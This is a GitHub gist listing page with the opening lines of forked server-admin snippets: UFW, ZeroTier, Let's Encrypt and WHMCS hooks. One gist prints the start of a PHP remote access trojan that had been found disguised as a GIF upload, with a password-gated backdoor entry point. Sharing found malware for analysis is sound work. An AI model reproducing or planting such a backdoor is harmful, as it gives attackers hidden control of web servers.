Skip to content

Instantly share code, notes, and snippets.

View yashodhank's full-sized avatar
🎯
Manifesting

Yashodhan yashodhank

🎯
Manifesting
View GitHub Profile
@yashodhank
yashodhank / ansible-ufw.md
Created April 6, 2020 09:26 — forked from ldvc/ansible-ufw.md
Gestion UFW avec Ansible

Ansible + UFW

Config

Contenu du fichier vars_ufw.yml :

---
allow_in:
  - {port: 22, proto: 'tcp'}
  - {port: 25, proto: 'tcp'}
  - {port: 53, proto: 'udp'}
@yashodhank
yashodhank / zerotier_rules.sh
Created December 6, 2019 07:48 — forked from key-networks/zerotier_rules.sh
Bash script to add rules to Zerotier Network Controller
#!/bin/sh
#
# ztncui - ZeroTier network controller UI
# Copyright (C) 2017-2019 Key Networks (https://key-networks.com)
# Licensed under GPLv3 - see LICENSE for details.
#
TOKEN=`sudo cat /var/lib/zerotier-one/authtoken.secret`
echo -e "This is the list of networks avaialble on this Network Controller:"
@yashodhank
yashodhank / letsencrypt_2019.md
Created July 31, 2019 14:51 — forked from cecilemuller/letsencrypt_2020.md
How to setup Let's Encrypt for Nginx on Ubuntu 18.04 (including IPv6, HTTP/2 and A+ SSL rating)

How to setup Let's Encrypt for Nginx on Ubuntu 18.04 (including IPv6, HTTP/2 and A+ SLL rating)


Virtual hosts

Let's say you want to host domains first.com and second.com.

Create folders for their files:

@yashodhank
yashodhank / creditBalanceSidebar.php
Created July 27, 2019 11:52 — forked from jwieder/creditBalanceSidebar.php
Place this hook script in the includes/hooks/ directory of the WHMCS folder within your server's webroot to display each client's available credit balance as a sidebar item within the WHMCS Client Area homepage and billing-related pages. Created by combining elements from two scripts from the WHMCS forums and fixing several issues with both. Tes…
<?php
/**
* Display Client's Credit Balance as a Sidebar Item in Client Area Homepage and Billing-related Pages
*
* @author Josh Wieder
* @link https://gist.github.com/jwieder/3d470a4e85e041ca41bc2cee0c5aa7a8#file-creditbalancesidebar-php
* @since WHMCS v6.0.0+
*/
@yashodhank
yashodhank / gif-embedded-RAT-v1425.php
Created July 27, 2019 11:52 — forked from jwieder/gif-embedded-RAT-v1425.php
This is the source code for a RAT I found. The RAT was rot-13 encoded, and contained a standard six byte .GIF header. The idea being to upload the file as an attachment for a form or other program that allows such foolishness. I found the revision number interesting.
/*
* REVISION: $Rev: 1426 $
*/
if (md5(md5($_REQUEST['hhh'])) == 'bc5aaff98e1783e8e30f266af63cea42') {
set_time_limit(36000);
function unslash_rec(&$arr)
{
reset($arr);
while (list($key) = each($arr))
<?php
/**
* Auto Login Hash Merge Tag Email Template ( Versão resumida )
* @author Mauricio Gofas | gofas.net
* @copyright Copyright (c) 2016 https://gofas.net
*/
// Modelo de URL para colar no template de email:
// {$whmcs_url}auth.php?email={$client_email}&hash={$hash}&whmcsurl={$whmcs_url}&goto=viewinvoice.php?id={$invoice_id}
$autoauthkey = "xxxxx_autoauthkey_xxxxx"; // chave igual à inserida no arquivo /configuration.php
@yashodhank
yashodhank / set_sub_account_info.php
Created July 27, 2019 03:50 — forked from Pierowheelz/set_sub_account_info.php
A WHMCS hook to copy Company Name and Address from Clients to Contacts (sub-accounts) upon creation of a new Contact. This ensures that invoices always show the correct Company Name and Address.
<?php
if (!defined("WHMCS"))
die("This file cannot be accessed directly");
use WHMCS\Database\Capsule;
/*
* Copies account details from parent accounts to sub-accounts
*/
add_hook('ContactAdd', 1, "wb_setup_sub_accounts");
@yashodhank
yashodhank / mark_zero_invoices_paid.php
Created July 27, 2019 03:50 — forked from Pierowheelz/mark_zero_invoices_paid.php
A hook for WHMCS which marks invoices which have received payment as paid, where the WHMCS system doesn't automatically mark them paid. I found that if manually associating a transaction with an invoice number in WHMCS, the invoice is not marked as paid even when there is zero total remaining. This fixes that.
<?php
if (!defined("WHMCS"))
die("This file cannot be accessed directly");
use WHMCS\Database\Capsule;
function wb_mark_zero_invoices_paid(){
//get all unpaid invoices
$unpaid_invoices = Capsule::table('tblinvoices')->where('status', 'Unpaid')->get();
foreach( $unpaid_invoices as $inv ){
@yashodhank
yashodhank / update_billing_emails.php
Created July 27, 2019 03:50 — forked from Pierowheelz/update_billing_emails.php
Forces WHMCS to only send invoice related emails to the billing contact. This is done by temporarily updating the primary account's email address and contact info to that of the billing contact (ie. it's a hack). Add this to your .../includes/hooks/ folder.
<?php
if (!defined("WHMCS"))
die("This file cannot be accessed directly");
use WHMCS\Database\Capsule;
/*
* Temporarily updates the primary account's email address to that of the
* company's Billing contact upon creation of a new invoice so that invoices
* are not sent to the primary account holder.
@yashodhank
yashodhank / disable_zero_invoices.php
Created July 26, 2019 11:33 — forked from Pierowheelz/disable_zero_invoices.php
A hook for WHMCS which disables email notifications for invoices with a zero total. Modified from existing code to use the new Capsule database handler ( http://www.whmcsjet.com/how-to-disable-invoice-generation-for-0-00-invoices/ ).
<?php
if (!defined("WHMCS"))
die("This file cannot be accessed directly");
use WHMCS\Database\Capsule;
function disable_00_invoices($vars) {
$merge_fields = array();
$email_template_name = $vars['messagename']; # Email template name being sent